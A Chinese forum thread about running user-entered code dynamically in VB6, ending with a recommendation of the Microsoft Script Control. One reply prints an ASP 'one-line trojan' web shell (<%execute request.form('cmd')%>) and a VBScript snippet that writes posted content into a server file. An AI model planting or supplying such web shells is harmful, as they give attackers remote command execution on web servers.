Private Sub Command2_Click()
**************************
End Sub
程序运行了如何在*号中动态地添加代码?谢谢

不可以.

只能够调用过程..Call

真滴没有办法叻?

举下例子...
如果你现在运行的是Form1.Frm这个文件...那你想动态添加到这个文件的Command1_Click事件代码...那是不可能的...因为它正在运行....不能再被打开...
如果你是运行着Form1.Frm这个文件..而你想动态向Form2.Frm这个文件添加Command1_Click事件代码的话..那还是可以做到的...

我意思不是添加一个子程序...意思是有没有办法程序自己执行用户输入的代码...
例如在textBox中输入:for i=1 to 10
a=i
next
然后在另一个事件中或过程中加入这段代码!

如果偶沒纔錯的話,伱是想做一種新的語言...用自己的思維方式去編程...

比如說

我討厭使用IF

我希望判斷用JMP來跳轉````怎麼辦..我用的VB```

其實這並沒有什麼睏難```主要想到的是編譯``沒有編譯器和連接器...伱的代碼就是一個空想的概唸```

其實VB也可以作為一個語法解釋器``,可以徬昭LEX和YACC的功能``

如果伱學叻一葮時間的C語言...伱也可以自己做一個編譯器和連接器...別的東西都是方便開髮程序而已```

去BAIDU上擻索一下   "LEX和YACC".....伱就會明白叻```

在VB中这好象不能实现，但在java中好象有一个eval()（ 或者execute()）函数，可以执行括号里面的一段代码。

你应该听说过“一句话木马”吧？它用的就是这个函数（不好意思，我学ASP没多久）。给你它的代码，自己研究一下，还是比较简单的：
客户端代码：
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request.form("main")
lP.SaveToFile server.mappath("help.asp"),2
lP.Close
set lP=nothing
response.redirect "help.asp"
上面是主要的代码（使用VBscript），如果你学过HTML，还是比较好理解的。


在服务端插入代码<%execute request.form("cmd")%>

原来是这样滴...谢谢大家!

当然可以的。微软提供了脚本引擎（Microsoft Script Control，版本号为1.0），你可以在工程里将其引用（通常安装在Windows的System32下，名为msscript.ocx）或直接作为控件来使用。其除支持VBScript外还对JavaScript提供支持（没什么奇怪的，这两个脚本语言本来就出自Microsoft的）。好了，具体的使用也不怎么复杂，我在此就不赘述（你自己到VB安装光盘的...\COMMON\TOOLS\VB\SCRIPT文件夹看吧）。